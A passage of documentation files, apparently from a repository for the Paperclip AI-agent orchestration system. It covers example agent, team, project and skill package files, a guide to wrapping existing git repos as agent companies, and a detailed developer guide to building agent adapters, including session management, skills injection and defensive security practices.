You are a software engineer at Lean Dev Shop. You write code, fix bugs, and ship features.
Your responsibilities:
- Implement features and fix bugs
- Write tests and documentation
- Participate in code reviews
Execution contract:
- Start actionable implementation work in the same heartbeat; do not stop at a plan unless planning was requested.
- Leave durable progress with a clear next action.
- Use child issues for long or parallel delegated work instead of polling agents, sessions, or processes.
- Mark blocked work with the unblock owner and action.
```
## teams/engineering/TEAM.md
```markdown
---
name: Engineering
description: Product and platform engineering team
slug: engineering
schema: agentcompanies/v1
manager: ../../agents/cto/AGENTS.md
includes:
- ../../agents/engineer/AGENTS.md
- ../../skills/code-review/SKILL.md
tags:
- engineering
---
The engineering team builds and maintains all software products.
```
## projects/q2-launch/PROJECT.md
```markdown
---
name: Q2 Launch
description: Ship the Q2 product launch
slug: q2-launch
owner: cto
---
Deliver all features planned for the Q2 launch, including the new dashboard and API improvements.
```
## projects/q2-launch/tasks/monday-review/TASK.md
```markdown
---
name: Monday Review
assignee: ceo
project: q2-launch
schedule:
timezone: America/Chicago
startsAt: 2026-03-16T09:00:00-05:00
recurrence:
frequency: weekly
interval: 1
weekdays:
- monday
time:
hour: 9
minute: 0
---
Review the status of Q2 Launch project. Check progress on all open tasks, identify blockers, and update priorities for the week.
```
## skills/code-review/SKILL.md (with external reference)
```markdown
---
name: code-review
description: Thorough code review skill for pull requests and diffs
metadata:
sources:
- kind: github-file
repo: anthropics/claude-code
path: skills/code-review/SKILL.md
commit: abc123def456
sha256: 3b7e...9a
attribution: Anthropic
license: MIT
usage: referenced
---
Review code changes for correctness, style, and potential issues.
```
@@ -0,0 +1,79 @@
# Creating a Company From an Existing Repository
When a user provides a git repo (URL, local path, or tweet linking to a repo), analyze it and create a company package that wraps its content.
## Analysis Steps
1. **Clone or read the repo** - Use `git clone` for URLs, read directly for local paths
2. **Scan for existing agent/skill files** - Look for SKILL.md, AGENTS.md, CLAUDE.md, .claude/ directories, or similar agent configuration
3. **Understand the repo's purpose** - Read README, package.json, main source files to understand what the project does
4. **Identify natural agent roles** - Based on the repo's structure and purpose, determine what agents would be useful
## Handling Existing Skills
Many repos already contain skills (SKILL.md files). When you find them:
**Default behavior: use references, not copies.**
Instead of copying skill content into your company package, create a source reference:
```yaml
metadata:
sources:
- kind: github-file
repo: owner/repo
path: path/to/SKILL.md
commit: <get the current HEAD commit SHA>
attribution: <repo owner or org name>
license: <from repo's LICENSE file>
usage: referenced
```
To get the commit SHA:
```bash
git ls-remote https://github.com/owner/repo HEAD
```
Only vendor (copy) skills when:
- The user explicitly asks to copy them
- The skill is very small and tightly coupled to the company
- The source repo is private or may become unavailable
## Handling Existing Agent Configurations
If the repo has agent configs (CLAUDE.md, .claude/ directories, codex configs, etc.):
- Use them as inspiration for AGENTS.md instructions
- Don't copy them verbatim - adapt them to the Agent Companies format
- Preserve the intent and key instructions
## Repo-Only Skills (No Agents)
When a repo contains only skills and no agents:
- Create agents that would naturally use those skills
- The agents should be minimal - just enough to give the skills a runtime context
- A single agent may use multiple skills from the repo
- Name agents based on the domain the skills cover
Example: A repo with `code-review`, `testing`, and `deployment` skills might become:
- A "Lead Engineer" agent with all three skills
- Or separate "Reviewer", "QA Engineer", and "DevOps" agents if the skills are distinct enough
## Common Repo Patterns
### Developer Tools / CLI repos
- Create agents for the tool's primary use cases
- Reference any existing skills
- Add a project maintainer or lead agent
### Library / Framework repos
- Create agents for development, testing, documentation
- Skills from the repo become agent capabilities
### Full Application repos
- Map to departments: engineering, product, QA
- Create a lean team structure appropriate to the project size
### Skills Collection repos (e.g. skills.sh repos)
- Each skill or skill group gets an agent
- Create a lightweight company or team wrapper
- Keep the agent count proportional to the skill diversity
@@ -0,0 +1,718 @@
---
name: create-agent-adapter
description: >
Technical guide for creating a new Paperclip agent adapter. Use when building
a new adapter package, adding support for a new AI coding tool (e.g. a new
CLI agent, API-based agent, or custom process), or when modifying the adapter
system. Covers the required interfaces, module structure, registration points,
and conventions derived from the existing claude-local and codex-local adapters.
---
# Creating a Paperclip Agent Adapter
An adapter bridges Paperclip's orchestration layer to a specific AI agent runtime (Claude Code, Codex CLI, a custom process, an HTTP endpoint, etc.). Each adapter is a self-contained package that provides implementations for **three consumers**: the server, the UI, and the CLI.
---
## 1. Architecture Overview
```
packages/adapters/<name>/
src/
index.ts # Shared metadata (type, label, models, agentConfigurationDoc)
server/
index.ts # Server exports: execute, sessionCodec, parse helpers
execute.ts # Core execution logic (AdapterExecutionContext -> AdapterExecutionResult)
parse.ts # Stdout/result parsing for the agent's output format
ui/
index.ts # UI exports: parseStdoutLine, buildConfig
parse-stdout.ts # Line-by-line stdout -> TranscriptEntry[] for the run viewer
build-config.ts # CreateConfigValues -> adapterConfig JSON for agent creation form
cli/
index.ts # CLI exports: formatStdoutEvent
format-event.ts # Colored terminal output for `paperclipai run --watch`
package.json
tsconfig.json
```
Three separate registries consume adapter modules:
| Registry | Location | Interface |
|----------|----------|-----------|
| Server | `server/src/adapters/registry.ts` | `ServerAdapterModule` |
| UI | `ui/src/adapters/registry.ts` | `UIAdapterModule` |
| CLI | `cli/src/adapters/registry.ts` | `CLIAdapterModule` |
---
## 2. Shared Types (`@paperclipai/adapter-utils`)
All adapter interfaces live in `packages/adapter-utils/src/types.ts`. Import from `@paperclipai/adapter-utils` (types) or `@paperclipai/adapter-utils/server-utils` (runtime helpers).
### Core Interfaces
```ts
// The execute function signature — every adapter must implement this
interface AdapterExecutionContext {
runId: string;
agent: AdapterAgent; // { id, companyId, name, adapterType, adapterConfig }
runtime: AdapterRuntime; // { sessionId, sessionParams, sessionDisplayId, taskKey }
config: Record<string, unknown>; // The agent's adapterConfig blob
context: Record<string, unknown>; // Runtime context (taskId, wakeReason, approvalId, etc.)
onLog: (stream: "stdout" | "stderr", chunk: string) => Promise<void>;
onMeta?: (meta: AdapterInvocationMeta) => Promise<void>;
authToken?: string;
}
interface AdapterExecutionResult {
exitCode: number | null;
signal: string | null;
timedOut: boolean;
errorMessage?: string | null;
usage?: UsageSummary; // { inputTokens, outputTokens, cachedInputTokens? }
sessionId?: string | null; // Legacy — prefer sessionParams
sessionParams?: Record<string, unknown> | null; // Opaque session state persisted between runs
sessionDisplayId?: string | null;
provider?: string | null; // "anthropic", "openai", etc.
model?: string | null;
costUsd?: number | null;
resultJson?: Record<string, unknown> | null;
summary?: string | null; // Human-readable summary of what the agent did
clearSession?: boolean; // true = tell Paperclip to forget the stored session
}
interface AdapterSessionCodec {
deserialize(raw: unknown): Record<string, unknown> | null;
serialize(params: Record<string, unknown> | null): Record<string, unknown> | null;
getDisplayId?(params: Record<string, unknown> | null): string | null;
}
```
### Module Interfaces
```ts
// Server — registered in server/src/adapters/registry.ts
interface ServerAdapterModule {
type: string;
execute(ctx: AdapterExecutionContext): Promise<AdapterExecutionResult>;
testEnvironment(ctx: AdapterEnvironmentTestContext): Promise<AdapterEnvironmentTestResult>;
sessionCodec?: AdapterSessionCodec;
supportsLocalAgentJwt?: boolean;
models?: { id: string; label: string }[];
agentConfigurationDoc?: string;
}
// UI — registered in ui/src/adapters/registry.ts
interface UIAdapterModule {
type: string;
label: string;
parseStdoutLine: (line: string, ts: string) => TranscriptEntry[];
ConfigFields: ComponentType<AdapterConfigFieldsProps>;
buildAdapterConfig: (values: CreateConfigValues) => Record<string, unknown>;
}
// CLI — registered in cli/src/adapters/registry.ts
interface CLIAdapterModule {
type: string;
formatStdoutEvent: (line: string, debug: boolean) => void;
}
```
---
## 2.1 Adapter Environment Test Contract
Every server adapter must implement `testEnvironment(...)`. This powers the board UI "Test environment" button in agent configuration.
```ts
type AdapterEnvironmentCheckLevel = "info" | "warn" | "error";
type AdapterEnvironmentTestStatus = "pass" | "warn" | "fail";
interface AdapterEnvironmentCheck {
code: string;
level: AdapterEnvironmentCheckLevel;
message: string;
detail?: string | null;
hint?: string | null;
}
interface AdapterEnvironmentTestResult {
adapterType: string;
status: AdapterEnvironmentTestStatus;
checks: AdapterEnvironmentCheck[];
testedAt: string; // ISO timestamp
}
interface AdapterEnvironmentTestContext {
companyId: string;
adapterType: string;
config: Record<string, unknown>; // runtime-resolved adapterConfig
}
```
Guidelines:
- Return structured diagnostics, never throw for expected findings.
- Use `error` for invalid/unusable runtime setup (bad cwd, missing command, invalid URL).
- Use `warn` for non-blocking but important situations.
- Use `info` for successful checks and context.
Severity policy is product-critical: warnings are not save blockers.
Example: for `claude_local`, detected `ANTHROPIC_API_KEY` must be a `warn`, not an `error`, because Claude can still run (it just uses API-key auth instead of subscription auth).
---
## 3. Step-by-Step: Creating a New Adapter
### 3.1 Create the Package
```
packages/adapters/<name>/
package.json
tsconfig.json
src/
index.ts
server/index.ts
server/execute.ts
server/parse.ts
ui/index.ts
ui/parse-stdout.ts
ui/build-config.ts
cli/index.ts
cli/format-event.ts
```
**package.json** — must use the four-export convention:
```json
{
"name": "@paperclipai/adapter-<name>",
"version": "0.0.1",
"private": true,
"type": "module",
"exports": {
".": "./src/index.ts",
"./server": "./src/server/index.ts",
"./ui": "./src/ui/index.ts",
"./cli": "./src/cli/index.ts"
},
"dependencies": {
"@paperclipai/adapter-utils": "workspace:*",
"picocolors": "^1.1.1"
},
"devDependencies": {
"typescript": "^5.7.3"
}
}
```
### 3.2 Root `index.ts` — Adapter Metadata
This file is imported by **all three** consumers (server, UI, CLI). Keep it dependency-free (no Node APIs, no React).
```ts
export const type = "my_agent"; // snake_case, globally unique
export const label = "My Agent (local)";
export const models = [
{ id: "model-a", label: "Model A" },
{ id: "model-b", label: "Model B" },
];
export const agentConfigurationDoc = `# my_agent agent configuration
...document all config fields here...
`;
```
**Required exports:**
- `type` — the adapter type key, stored in `agents.adapter_type`
- `label` — human-readable name for the UI
- `models` — available model options for the agent creation form
- `agentConfigurationDoc` — markdown describing all `adapterConfig` fields (used by LLM agents configuring other agents)
**Writing `agentConfigurationDoc` as routing logic:**
The `agentConfigurationDoc` is read by LLM agents (including Paperclip agents that create other agents). Write it as **routing logic**, not marketing copy. Include concrete "use when" and "don't use when" guidance so an LLM can decide whether this adapter is appropriate for a given task.
```ts
export const agentConfigurationDoc = `# my_agent agent configuration
Adapter: my_agent
Use when:
- The agent needs to run MyAgent CLI locally on the host machine
- You need session persistence across runs (MyAgent supports thread resumption)
- The task requires MyAgent-specific tools (e.g. web search, code execution)
Don't use when:
- You need a simple one-shot script execution (use the "process" adapter instead)
- The agent doesn't need conversational context between runs (process adapter is simpler)
- MyAgent CLI is not installed on the host
Core fields:
- cwd (string, required): absolute working directory for the agent process
...
`;
```
Adding explicit negative cases improves adapter selection accuracy. One concrete anti-pattern is worth more than three paragraphs of description.
### 3.3 Server Module
#### `server/execute.ts` — The Core
This is the most important file. It receives an `AdapterExecutionContext` and must return an `AdapterExecutionResult`.
**Required behavior:**
1. **Read config** — extract typed values from `ctx.config` using helpers (`asString`, `asNumber`, `asBoolean`, `asStringArray`, `parseObject` from `@paperclipai/adapter-utils/server-utils`)
2. **Build environment** — call `buildPaperclipEnv(agent)` then layer in `PAPERCLIP_RUN_ID`, context vars (`PAPERCLIP_TASK_ID`, `PAPERCLIP_WAKE_REASON`, `PAPERCLIP_WAKE_COMMENT_ID`, `PAPERCLIP_APPROVAL_ID`, `PAPERCLIP_APPROVAL_STATUS`, `PAPERCLIP_LINKED_ISSUE_IDS`), user env overrides, and auth token
3. **Resolve session** — check `runtime.sessionParams` / `runtime.sessionId` for an existing session; validate it's compatible (e.g. same cwd); decide whether to resume or start fresh
4. **Render prompt** — use `renderTemplate(template, data)` with the template variables: `agentId`, `companyId`, `runId`, `company`, `agent`, `run`, `context`
5. **Call onMeta** — emit adapter invocation metadata before spawning the process
6. **Spawn the process** — use `runChildProcess()` for CLI-based agents or `fetch()` for HTTP-based agents
7. **Parse output** — convert the agent's stdout into structured data (session id, usage, summary, errors)
8. **Handle session errors** — if resume fails with "unknown session", retry with a fresh session and set `clearSession: true`
9. **Return AdapterExecutionResult** — populate all fields the agent runtime supports
**Environment variables the server always injects:**
| Variable | Source |
|----------|--------|
| `PAPERCLIP_AGENT_ID` | `agent.id` |
| `PAPERCLIP_COMPANY_ID` | `agent.companyId` |
| `PAPERCLIP_API_URL` | Server's own URL |
| `PAPERCLIP_RUN_ID` | Current run id |
| `PAPERCLIP_TASK_ID` | `context.taskId` or `context.issueId` |
| `PAPERCLIP_WAKE_REASON` | `context.wakeReason` |
| `PAPERCLIP_WAKE_COMMENT_ID` | `context.wakeCommentId` or `context.commentId` |
| `PAPERCLIP_APPROVAL_ID` | `context.approvalId` |
| `PAPERCLIP_APPROVAL_STATUS` | `context.approvalStatus` |
| `PAPERCLIP_LINKED_ISSUE_IDS` | `context.issueIds` (comma-separated) |
| `PAPERCLIP_API_KEY` | `authToken` (if no explicit key in config) |
#### `server/parse.ts` — Output Parser
Parse the agent's stdout format into structured data. Must handle:
- **Session identification** — extract session/thread ID from init events
- **Usage tracking** — extract token counts (input, output, cached)
- **Cost tracking** — extract cost if available
- **Summary extraction** — pull the agent's final text response
- **Error detection** — identify error states, extract error messages
- **Unknown session detection** — export an `is<Agent>UnknownSessionError()` function for retry logic
**Treat agent output as untrusted.** The stdout you're parsing comes from an LLM-driven process that may have executed arbitrary tool calls, fetched external content, or been influenced by prompt injection in the files it read. Parse defensively:
- Never `eval()` or dynamically execute anything from output
- Use safe extraction helpers (`asString`, `asNumber`, `parseJson`) — they return fallbacks on unexpected types
- Validate session IDs and other structured data before passing them through
- If output contains URLs, file paths, or commands, do not act on them in the adapter — just record them
#### `server/index.ts` — Server Exports
```ts
export { execute } from "./execute.js";
export { testEnvironment } from "./test.js";
export { parseMyAgentOutput, isMyAgentUnknownSessionError } from "./parse.js";
// Session codec — required for session persistence
export const sessionCodec: AdapterSessionCodec = {
deserialize(raw) { /* raw DB JSON -> typed params or null */ },
serialize(params) { /* typed params -> JSON for DB storage */ },
getDisplayId(params) { /* -> human-readable session id string */ },
};
```
#### `server/test.ts` — Environment Diagnostics
Implement adapter-specific preflight checks used by the UI test button.
Minimum expectations:
1. Validate required config primitives (paths, commands, URLs, auth assumptions)
2. Return check objects with deterministic `code` values
3. Map severity consistently (`info` / `warn` / `error`)
4. Compute final status:
- `fail` if any `error`
- `warn` if no errors and at least one warning
- `pass` otherwise
This operation should be lightweight and side-effect free.
### 3.4 UI Module
#### `ui/parse-stdout.ts` — Transcript Parser
Converts individual stdout lines into `TranscriptEntry[]` for the run detail viewer. Must handle the agent's streaming output format and produce entries of these kinds:
- `init` — model/session initialization
- `assistant` — agent text responses
- `thinking` — agent thinking/reasoning (if supported)
- `tool_call` — tool invocations with name and input
- `tool_result` — tool results with content and error flag
- `user` — user messages in the conversation
- `result` — final result with usage stats
- `stdout` — fallback for unparseable lines
```ts
export function parseMyAgentStdoutLine(line: string, ts: string): TranscriptEntry[] {
// Parse JSON line, map to appropriate TranscriptEntry kind(s)
// Return [{ kind: "stdout", ts, text: line }] as fallback
}
```
#### `ui/build-config.ts` — Config Builder
Converts the UI form's `CreateConfigValues` into the `adapterConfig` JSON blob stored on the agent.
```ts
export function buildMyAgentConfig(v: CreateConfigValues): Record<string, unknown> {
const ac: Record<string, unknown> = {};
if (v.cwd) ac.cwd = v.cwd;
if (v.promptTemplate) ac.promptTemplate = v.promptTemplate;
if (v.model) ac.model = v.model;
ac.timeoutSec = 0;
ac.graceSec = 15;
// ... adapter-specific fields
return ac;
}
```
#### UI Config Fields Component
Create `ui/src/adapters/<name>/config-fields.tsx` with a React component implementing `AdapterConfigFieldsProps`. This renders adapter-specific form fields in the agent creation/edit form.
Use the shared primitives from `ui/src/components/agent-config-primitives`:
- `Field` — labeled form field wrapper
- `ToggleField` — boolean toggle with label and hint
- `DraftInput` — text input with draft/commit behavior
- `DraftNumberInput` — number input with draft/commit behavior
- `help` — standard hint text for common fields
The component must support both `create` mode (using `values`/`set`) and `edit` mode (using `config`/`eff`/`mark`).
### 3.5 CLI Module
#### `cli/format-event.ts` — Terminal Formatter
Pretty-prints stdout lines for `paperclipai run --watch`. Use `picocolors` for coloring.
```ts
import pc from "picocolors";
export function printMyAgentStreamEvent(raw: string, debug: boolean): void {
// Parse JSON line from agent stdout
// Print colored output: blue for system, green for assistant, yellow for tools
// In debug mode, print unrecognized lines in gray
}
```
---
## 4. Registration Checklist
After creating the adapter package, register it in all three consumers:
### 4.1 Server Registry (`server/src/adapters/registry.ts`)
```ts
import { execute as myExecute, sessionCodec as mySessionCodec } from "@paperclipai/adapter-my-agent/server";
import { agentConfigurationDoc as myDoc, models as myModels } from "@paperclipai/adapter-my-agent";
const myAgentAdapter: ServerAdapterModule = {
type: "my_agent",
execute: myExecute,
sessionCodec: mySessionCodec,
models: myModels,
supportsLocalAgentJwt: true, // true if agent can use Paperclip API
agentConfigurationDoc: myDoc,
};
// Add to the adaptersByType map
const adaptersByType = new Map<string, ServerAdapterModule>(
[..., myAgentAdapter].map((a) => [a.type, a]),
);
```
### 4.2 UI Registry (`ui/src/adapters/registry.ts`)
```ts
import { myAgentUIAdapter } from "./my-agent";
const adaptersByType = new Map<string, UIAdapterModule>(
[..., myAgentUIAdapter].map((a) => [a.type, a]),
);
```
With `ui/src/adapters/my-agent/index.ts`:
```ts
import type { UIAdapterModule } from "../types";
import { parseMyAgentStdoutLine } from "@paperclipai/adapter-my-agent/ui";
import { MyAgentConfigFields } from "./config-fields";
import { buildMyAgentConfig } from "@paperclipai/adapter-my-agent/ui";
export const myAgentUIAdapter: UIAdapterModule = {
type: "my_agent",
label: "My Agent",
parseStdoutLine: parseMyAgentStdoutLine,
ConfigFields: MyAgentConfigFields,
buildAdapterConfig: buildMyAgentConfig,
};
```
### 4.3 CLI Registry (`cli/src/adapters/registry.ts`)
```ts
import { printMyAgentStreamEvent } from "@paperclipai/adapter-my-agent/cli";
const myAgentCLIAdapter: CLIAdapterModule = {
type: "my_agent",
formatStdoutEvent: printMyAgentStreamEvent,
};
// Add to the adaptersByType map
```
---
## 5. Session Management — Designing for Long Runs
Sessions allow agents to maintain conversation context across runs. The system is **codec-based** — each adapter defines how to serialize/deserialize its session state.
**Design for long runs from the start.** Treat session reuse as the default primitive, not an optimization to add later. An agent working on an issue may be woken dozens of times — for the initial assignment, approval callbacks, re-assignments, manual nudges. Each wake should resume the existing conversation so the agent retains full context about what it has already done, what files it has read, and what decisions it has made. Starting fresh each time wastes tokens on re-reading the same files and risks contradictory decisions.
**Key concepts:**
- `sessionParams` is an opaque `Record<string, unknown>` stored in the DB per task
- The adapter's `sessionCodec.serialize()` converts execution result data to storable params
- `sessionCodec.deserialize()` converts stored params back for the next run
- `sessionCodec.getDisplayId()` extracts a human-readable session ID for the UI
- **cwd-aware resume**: if the session was created in a different cwd than the current config, skip resuming (prevents cross-project session contamination)
- **Unknown session retry**: if resume fails with a "session not found" error, retry with a fresh session and return `clearSession: true` so Paperclip wipes the stale session
If the agent runtime supports any form of context compaction or conversation compression (e.g. Claude Code's automatic context management, or Codex's `previous_response_id` chaining), lean on it. Adapters that support session resume get compaction for free — the agent runtime handles context window management internally across resumes.
**Pattern** (from both claude-local and codex-local):
```ts
const canResumeSession =
runtimeSessionId.length > 0 &&
(runtimeSessionCwd.length === 0 || path.resolve(runtimeSessionCwd) === path.resolve(cwd));
const sessionId = canResumeSession ? runtimeSessionId : null;
// ... run attempt ...
// If resume failed with unknown session, retry fresh
if (sessionId && !proc.timedOut && exitCode !== 0 && isUnknownSessionError(output)) {
const retry = await runAttempt(null);
return toResult(retry, { clearSessionOnMissingSession: true });
}
```
---
## 6. Server-Utils Helpers
Import from `@paperclipai/adapter-utils/server-utils`:
| Helper | Purpose |
|--------|---------|
| `asString(val, fallback)` | Safe string extraction |
| `asNumber(val, fallback)` | Safe number extraction |
| `asBoolean(val, fallback)` | Safe boolean extraction |
| `asStringArray(val)` | Safe string array extraction |
| `parseObject(val)` | Safe `Record<string, unknown>` extraction |
| `parseJson(str)` | Safe JSON.parse returning `Record` or null |
| `renderTemplate(tmpl, data)` | `{{path.to.value}}` template rendering |
| `buildPaperclipEnv(agent)` | Standard `PAPERCLIP_*` env vars |
| `redactEnvForLogs(env)` | Redact sensitive keys for onMeta |
| `ensureAbsoluteDirectory(cwd)` | Validate cwd exists and is absolute |
| `ensureCommandResolvable(cmd, cwd, env)` | Validate command is in PATH |
| `ensurePathInEnv(env)` | Ensure PATH exists in env |
| `runChildProcess(runId, cmd, args, opts)` | Spawn with timeout, logging, capture |
---
## 7. Conventions and Patterns
### Naming
- Adapter type: `snake_case` (e.g. `claude_local`, `codex_local`)
- Package name: `@paperclipai/adapter-<kebab-name>`
- Package directory: `packages/adapters/<kebab-name>/`
### Config Parsing
- Never trust `config` values directly — always use `asString`, `asNumber`, etc.
- Provide sensible defaults for every optional field
- Document all fields in `agentConfigurationDoc`
### Prompt Templates
- Support `promptTemplate` for every run
- Use `renderTemplate()` with the standard variable set
- Default prompt should use `DEFAULT_PAPERCLIP_AGENT_PROMPT_TEMPLATE` from `@paperclipai/adapter-utils/server-utils` so local adapters share Paperclip's execution contract: act in the same heartbeat, avoid planning-only exits unless requested, leave durable progress and a next action, use child issues instead of polling, mark blockers with owner/action, and respect governance boundaries.
### Error Handling
- Differentiate timeout vs process error vs parse failure
- Always populate `errorMessage` on failure
- Include raw stdout/stderr in `resultJson` when parsing fails
- Handle the agent CLI not being installed (command not found)
### Logging
- Call `onLog("stdout", ...)` and `onLog("stderr", ...)` for all process output — this feeds the real-time run viewer
- Call `onMeta(...)` before spawning to record invocation details
- Use `redactEnvForLogs()` when including env in meta
### Paperclip Skills Injection
Paperclip ships shared skills (in the repo's top-level `skills/` directory) that agents need at runtime — things like the `paperclip` API skill and the `paperclip-create-agent` workflow skill. Each adapter is responsible for making these skills discoverable by its agent runtime **without polluting the agent's working directory**.
**The constraint:** never copy or symlink skills into the agent's `cwd`. The cwd is the user's project checkout — writing `.claude/skills/` or any other files into it would contaminate the repo with Paperclip internals, break git status, and potentially leak into commits.
**The pattern:** create a clean, isolated location for skills and tell the agent runtime to look there.
**How claude-local does it:**
1. At execution time, create a fresh tmpdir: `mkdtemp("paperclip-skills-")`
2. Inside it, create `.claude/skills/` (the directory structure Claude Code expects)
3. Symlink each skill directory from the repo's `skills/` into the tmpdir's `.claude/skills/`
4. Pass the tmpdir to Claude Code via `--add-dir <tmpdir>` — this makes Claude Code discover the skills as if they were registered in that directory, without touching the agent's actual cwd
5. Clean up the tmpdir in a `finally` block after the run completes
```ts
// From claude-local execute.ts
async function buildSkillsDir(): Promise<string> {
const tmp = await fs.mkdtemp(path.join(os.tmpdir(), "paperclip-skills-"));
const target = path.join(tmp, ".claude", "skills");
await fs.mkdir(target, { recursive: true });
const entries = await fs.readdir(PAPERCLIP_SKILLS_DIR, { withFileTypes: true });
for (const entry of entries) {
if (entry.isDirectory()) {
await fs.symlink(
path.join(PAPERCLIP_SKILLS_DIR, entry.name),
path.join(target, entry.name),
);
}
}
return tmp;
}
// In execute(): pass --add-dir to Claude Code
const skillsDir = await buildSkillsDir();
args.push("--add-dir", skillsDir);
// ... run process ...
// In finally: fs.rm(skillsDir, { recursive: true, force: true })
```
**How codex-local does it:**
Codex has a global personal skills directory (`$CODEX_HOME/skills` or `~/.codex/skills`). The adapter symlinks Paperclip skills there if they don't already exist. This is acceptable because it's the agent tool's own config directory, not the user's project.
```ts
// From codex-local execute.ts
async function ensureCodexSkillsInjected(onLog) {
const skillsHome = path.join(codexHomeDir(), "skills");
await fs.mkdir(skillsHome, { recursive: true });
for (const entry of entries) {
const target = path.join(skillsHome, entry.name);
const existing = await fs.lstat(target).catch(() => null);
if (existing) continue; // Don't overwrite user's own skills
await fs.symlink(source, target);
}
}
```
**For a new adapter:** figure out how your agent runtime discovers skills/plugins, then choose the cleanest injection path:
1. **Best: tmpdir + flag** (like claude-local) — if the runtime supports an "additional directory" flag, create a tmpdir, symlink skills in, pass the flag, clean up after. Zero side effects.
2. **Acceptable: global config dir** (like codex-local) — if the runtime has a global skills/plugins directory separate from the project, symlink there. Skip existing entries to avoid overwriting user customizations.
3. **Acceptable: env var** — if the runtime reads a skills/plugin path from an environment variable, point it at the repo's `skills/` directory directly.
4. **Last resort: prompt injection** — if the runtime has no plugin system, include skill content in the prompt template itself. This uses tokens but avoids filesystem side effects entirely.
**Skills as loaded procedures, not prompt bloat.** The Paperclip skills (like `paperclip` and `paperclip-create-agent`) are designed as on-demand procedures: the agent sees skill metadata (name + description) in its context, but only loads the full SKILL.md content when it decides to invoke a skill. This keeps the base prompt small. When writing `agentConfigurationDoc` or prompt templates for your adapter, do not inline skill content — let the agent runtime's skill discovery do the work. The descriptions in each SKILL.md frontmatter act as routing logic: they tell the agent when to load the full skill, not what the skill contains.
**Explicit vs. fuzzy skill invocation.** For production workflows where reliability matters (e.g. an agent that must always call the Paperclip API to report status), use explicit instructions in the prompt template: "Use the paperclip skill to report your progress." Fuzzy routing (letting the model decide based on description matching) is fine for exploratory tasks but unreliable for mandatory procedures.
---
## 8. Security Considerations
Adapters sit at the boundary between Paperclip's orchestration layer and arbitrary agent execution. This is a high-risk surface.
### Treat Agent Output as Untrusted
The agent process runs LLM-driven code that reads external files, fetches URLs, and executes tools. Its output may be influenced by prompt injection from the content it processes. The adapter's parse layer is a trust boundary — validate everything, execute nothing.
### Secret Injection via Environment, Not Prompts
Never put secrets (API keys, tokens) into prompt templates or config fields that flow through the LLM. Instead, inject them as environment variables that the agent's tools can read directly:
- `PAPERCLIP_API_KEY` is injected by the server into the process environment, not the prompt
- User-provided secrets in `config.env` are passed as env vars, redacted in `onMeta` logs
- The `redactEnvForLogs()` helper automatically masks any key matching `/(key|token|secret|password|authorization|cookie)/i`
This follows the "sidecar injection" pattern: the model never sees the real secret value, but the tools it invokes can read it from the environment.
### Network Access
If your agent runtime supports network access controls (sandboxing, allowlists), configure them in the adapter:
- Prefer minimal allowlists over open internet access. An agent that only needs to call the Paperclip API and GitHub should not have access to arbitrary hosts.
- Skills + network = amplified risk. A skill that teaches the agent to make HTTP requests combined with unrestricted network access creates an exfiltration path. Constrain one or the other.
- If the runtime supports layered policies (org-level defaults + per-request overrides), wire the org-level policy into the adapter config and let per-agent config narrow further.
### Process Isolation
- CLI-based adapters inherit the server's user permissions. The `cwd` and `env` config determine what the agent process can access on the filesystem.
- `dangerouslySkipPermissions` / `dangerouslyBypassApprovalsAndSandbox` flags exist for development convenience but must be documented as dangerous in `agentConfigurationDoc`. Production deployments should not use them.
- Timeout and grace period (`timeoutSec`, `graceSec`) are safety rails — always enforce them. A runaway agent process without a timeout can consume unbounded resources.
---
## 9. TranscriptEntry Kinds Reference
The UI run viewer displays these entry kinds:
| Kind | Fields | Usage |
|------|--------|-------|
| `init` | `model`, `sessionId` | Agent initialization |
| `assistant` | `text` | Agent text response |
| `thinking` | `text` | Agent reasoning/thinking |
| `user` | `text` | User message |
| `tool_call` | `name`, `input` | Tool invocation |
| `tool_result` | `toolUseId`, `content`, `isError` | Tool result |
| `result` | `text`, `inputTokens`, `outputTokens`, `cachedTokens`, `costUsd`, `subtype`, `isError`, `errors` | Final result with usage |
| `stderr` | `text` | Stderr output |
| `system` | `text` | System messages |
| `stdout` | `text` | Raw stdout fallback |
---
## 10. Testing
Create tests in `server/src/__tests__/<adapter-name>-adapter.test.ts`. Test:
1. **Output parsing** — feed sample stdout through your parser, verify structured output
2. **Unknown session detection** — verify the `is<Agent>UnknownSessionError` function
3. **Config building** — verify `buildConfig` produces correct adapterConfig from form values
4. **Session codec** — verify serialize/deserialize round-trips
---
## 11. Minimal Adapter Checklist
- [ ] `packages/adapters/<name>/package.json` with four exports (`.`, `./server`, `./ui`, `./cli`)
- [ ] Root `index.ts` with `type`, `label`, `models`, `agentConfigurationDoc`
- [ ] `server/execute.ts` implementing `AdapterExecutionContext -> AdapterExecutionResult`
- [ ] `server/test.ts` implementing `AdapterEnvironmentTestContext -> AdapterEnvironmentTestResult`
- [ ] `server/parse.ts` with output parser and unknown-session detector
- [ ] `server/index.ts` exporting `execute`, `testEnvironment`, `sessionCodec`, parse helpers
- [ ] `ui/parse-stdout.ts` with `StdoutLineParser` for the run viewer
- [ ] `ui/build-config.ts` with `CreateConfigValues -> adapterConfig` builder
- [ ] `ui/src/adapters/<name>/config-fields.tsx` React component for agent form
- [ ] `ui/src/adapters/<name>/index.ts` assembling the `UIAdapterModule`
- [ ] `cli/format-event.ts` with terminal formatter
- [ ] `cli/index.ts` exporting the formatter
- [ ] Registered in `server/src/adapters/registry.ts`
- [ ] Registered in `ui/src/adapters/registry.ts`
- [ ] Registered in `cli/src/adapters/registry.ts`
- [ ] Added to workspace in root `pnpm-workspace.yaml` (if not already covered by glob)
- [ ] Tests for parsing, session codec, and config building
@@ -0,0 +1,277 @@
---
name: create-issue-interaction-ui
description: >
Developer/maintainer skill for adding a new issue-thread interaction kind to
the Paperclip codebase end-to-end: shared contract, server service/routes,
UI card, fixtures/Storybook, CLI/MCP/plugin SDK helpers, agent guidance, and
tests. Use when a Paperclip contributor is asked to introduce a new
interaction family (something analogous to `request_confirmation`,
`request_checkbox_confirmation`, `ask_user_questions`, or `suggest_tasks`)
or to extend the issue-thread interaction system with a new card type. Do
NOT install this on production Paperclip agents — it is for repo work, not
agent runtime behavior.
---
# Create a new issue-thread interaction UI (developer skill)
This skill walks a Paperclip contributor through introducing a new issue-thread
interaction kind from shared contract to issue-detail wiring, helpers, and
docs. It is intentionally a developer/maintainer skill: the audience is a
human or coding agent making code changes inside `paperclipai/paperclip`, not
the operational agents that run inside a deployed Paperclip company.
## When to use
- A new interaction kind is being introduced (compact picker, structured
rating, in-thread approval card, etc.).
- An existing interaction needs a parallel variant with a distinct payload
shape, validation, or resolution outcome (and `ask_user_questions` is the
wrong fit because option count, target binding, or result shape differs).
